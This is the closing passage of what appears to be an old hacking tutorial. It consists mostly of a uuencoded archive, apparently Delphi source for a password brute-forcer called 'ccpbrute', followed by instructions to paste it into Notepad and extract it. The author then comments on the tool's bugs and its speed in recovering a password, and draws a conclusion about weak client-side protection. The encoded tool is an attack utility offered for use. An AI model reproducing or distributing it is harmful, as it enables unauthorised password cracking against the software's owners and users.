M3(=Q;Q(:+Q>3$)RS\<78A4P0'WOGCILT7'P]J;EIPT5M:<T5#1>5BYJ[:+AH
M:V&Y)H4G3U/XI2ASCA\U'";$#4+LG9V[!DT:*FTHT5`+2PT(ON;2U!:@_\25
M0NLJT_#TO)NF=N&X5FC+V(.V2XEUH:P';1<7[T)Y#]HN-W@"M6!XOP[^[8K:
M'\IZJ>U9R[F;W:V[\G^HW?5_ZS^^A\PWP@XKRBW3C?NB5=[^3^WX1[KIFVI'
MAY[[KS0[4Q?$?D&<5E\0M5>M7W@&AP?_`E!+`0(4`!0````(`,P^@BUHQ36@
M.@(``#<$```,``````````$`(`"V@0````!0<F]J96-T,2YD;V902P$"%``4
M````"`#,/H(M<KF)+[X```!@`0``#``````````!`"``MH%D`@``4')O:F5C
M=#$N8V9G4$L!`A0`%`````@`]SB"+>(NUCV'````O`````P``````````0`@
M`+:!3`,``%!R;VIE8W0Q+F1P<E!+`0(4`!0````(`,H^@BUHW#H@\````&P#
M```,````````````(`"V@?T#``!0<F]J96-T,2YR97-02P$"%``4````"`!I
M4H(MF9LKW4($``"M$@``"@`````````!`"``MH$7!0``56YI=#$N?F1F;5!+
M`0(4`!0````(`$M2@BWJM/M$N`,``-0,```*``````````$`(`"V@8$)``!5
M;FET,2Y^<&%S4$L!`A0`%`````@`_5:"+:LYP)_0#0``QQX```D`````````
M```@`+:!80T``%5N:70Q+F1C=5!+`0(4`!0````(`&E2@BV9FRO=0@0``*T2
M```)``````````$`(`"V@5@;``!5;FET,2YD9FU02P$"%``4````"`#Y5H(M
M_O*K0[,#``#4#```"0`````````!`"``MH'!'P``56YI=#$N<&%S4$L%!@``
0```)``D`_0$``)LC````````
`
end
sum -r/size 43791/13323 section (from "begin" to "end")
sum -r/size 9550/9646 entire input file


*CUT HERE*

_____________________________________________________________

Paste this into notepad and save it as 'ccpbrute.uue' and Winzip should extract it for you, enjoy!

I have found a couple of bugs with it unfortunately, the main one being that the first character in the timecode is sometimes one character out of the correct value. For me, after a few bench tests to find a single password ammong 200 generated, it takes generally around six minutes.

-----------
Conclusion
-----------

From this we have hopefully learned that more information can be gained from just Client side activity than is generally beleived. The Client in this case has far more control over itself than it really should. So until next time, enjoy!
Name

URL or Email

Message